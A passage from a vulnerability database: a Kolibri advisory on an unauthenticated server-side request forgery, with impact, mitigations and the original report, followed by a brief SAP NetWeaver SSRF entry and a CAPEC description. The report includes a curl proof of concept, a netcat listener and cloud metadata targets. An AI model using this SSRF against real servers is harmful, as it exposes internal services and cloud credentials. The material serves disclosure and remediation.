302 redirect to the target URL. The redirected response body is reflected via `Response(response.json())`.\n3. **POST vector:** responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.\n\nA working PoC has been retained internally and is not published with this advisory.\n\n## Demonstrated impact (pre-fix)\n\n- **Unauthenticated outbound requests from the Kolibri server** to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).\n- **Reflected data exfiltration** for any HTTP endpoint that responded to a plain `GET` with JSON and no special request headers.\n- **Cloud metadata reachability** was realistic but service-specific:\n - AWS IMDSv1 \u2014 reachable\n - DigitalOcean (`/metadata/v1.json`) \u2014 reachable\n - GCP, Azure, AWS IMDSv2 \u2014 *not* reachable via this vector (require `Metadata-Flavor` / `Metadata` / token headers that the attacker could not inject)\n- **Reachability of internal HTTP services** on the same network as the Kolibri server, with their JSON responses returned to the attacker.\n\n## Not demonstrated\n\nThe earlier draft asserted port scanning via a timing oracle and generic \"internal network mapping.\" The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.\n\n## Mitigation\n\nFour layers of defence:\n\n1. **Response sanitisation.** Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.\n2. **Authentication.** The previously-open `RemoteFacilityUser*` endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).\n3. **Cross-host redirect blocking.** Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.\n4. **Peer allowlist.** Endpoints that accept a caller-supplied `baseurl` resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.\n\n## Credit\n\nInitial report and identification of the `RemoteFacilityUser*` viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.\n\n\n\u003cdetails\u003e\u003csummary\u003eOriginal report by @beraoudabdelkhalek\u003c/summary\u003e\n\n### Summary\nThe `RemoteFacilityUserViewset` API endpoint (`/api/auth/remotefacilityuser`) has no authentication or permission checks and accepts a user-controlled `baseurl` parameter. This parameter is passed directly to `NetworkClient.build_for_address()` which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.\n\n### Details\n\nThis is mainly due to the following issues:\n\n**1. Missing authentication on the API endpoint**\n\nFile: `kolibri/core/auth/api.py`, line ~1553\n\n```python\nclass RemoteFacilityUserViewset(views.APIView): # No permission_classes \u2192 AllowAny\n def get(self, request):\n baseurl = request.query_params.get(\"baseurl\", \"\")\n validator(baseurl) # Only checks URL format (http/https scheme + valid hostname)\n client = NetworkClient.build_for_address(baseurl)\n response = client.get(url, params={\"facility\": facility, \"search\": username})\n```\n\nNo `permission_classes` attribute is defined, and `DEFAULT_PERMISSION_CLASSES` is not set in the DRF configuration, so the endpoint defaults to `AllowAny` , accepting requests with zero authentication.\n\nSimilarly, `RemoteFacilityUserAuthenticatedViewset` (line ~1577, POST endpoint) also has no `permission_classes`, though it currently checks permissions via a different mechanism. The initial `build_for_address()` call still fires before that check.\n\n**2. Weak URL validation**\n\nFile: `kolibri/utils/urls.py`, line 1-7\n\n```python\nfrom django.core.validators import URLValidator\nvalidator = URLValidator(schemes=[\"http\", \"https\"])\n```\n\nThe only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:\n- RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)\n- Loopback addresses (127.0.0.0/8, ::1)\n- Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)\n- IPv6 equivalents of any of the above\n\n### PoC\n**Prerequisites**: A listener on a host reachable by the Kolibri server (e.g., `nc -lvp 1337`) the listener can be local or remote.\n\nAgainst a local Docker deployment (validated against Kolibri 0.19.3):\n\n```bash\n# Trigger the SSRF no auth headers needed\ncurl \"http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337\u0026username=test\u0026facility=\u003cfacility_id\u003e\"\n```\n\nThe Kolibri server makes an outbound HTTP request to the attacker\u0027s listener:\n\n```\nGET /api/public/info/?v=3 HTTP/1.1\nHost: 172.17.0.1:1337\nUser-Agent: Kolibri/0.19.3 python-requests/2.27.1\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive\n```\n\nTesters have also confirmed the issue against live deployments of Kolibri.\n\n### Impact\nUnauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed\nInternal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle\nCloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata\nInternal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker\nBlind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check\n\n\u003c/details\u003e",
"id": "GHSA-4mj9-pf4r-cqrc",
"modified": "2026-06-11T17:10:33Z",
"published": "2026-06-11T17:10:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/learningequality/kolibri/security/advisories/GHSA-4mj9-pf4r-cqrc"
},
{
"type": "PACKAGE",
"url": "https://github.com/learningequality/kolibri"
},
{
"type": "WEB",
"url": "https://github.com/learningequality/kolibri/releases/tag/v0.19.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset"
}
GHSA-4MP4-X5RJ-88JP
Vulnerability from github – Published: 2022-06-14 00:00 – Updated: 2022-07-07 00:00Some part of SAP NetWeaver (EP Web Page Composer) does not sufficiently validate an XML document accepted from an untrusted source, which allows an adversary to exploit unprotected XML parking at endpoints, and a possibility to conduct SSRF attacks that could compromise system’s Availability by causing system to crash.
{
"affected": [],
"aliases": [
"CVE-2022-28217"
],
"database_specific": {
"cwe_ids": [
"CWE-112",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-13T17:15:00Z",
"severity": "MODERATE"
},
"details": "Some part of SAP NetWeaver (EP Web Page Composer) does not sufficiently validate an XML document accepted from an untrusted source, which allows an adversary to exploit unprotected XML parking at endpoints, and a possibility to conduct SSRF attacks that could compromise system\u2019s Availability by causing system to crash.",
"id": "GHSA-4mp4-x5rj-88jp",
"modified": "2022-07-07T00:00:25Z",
"published": "2022-06-14T00:00:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28217"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3148377"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.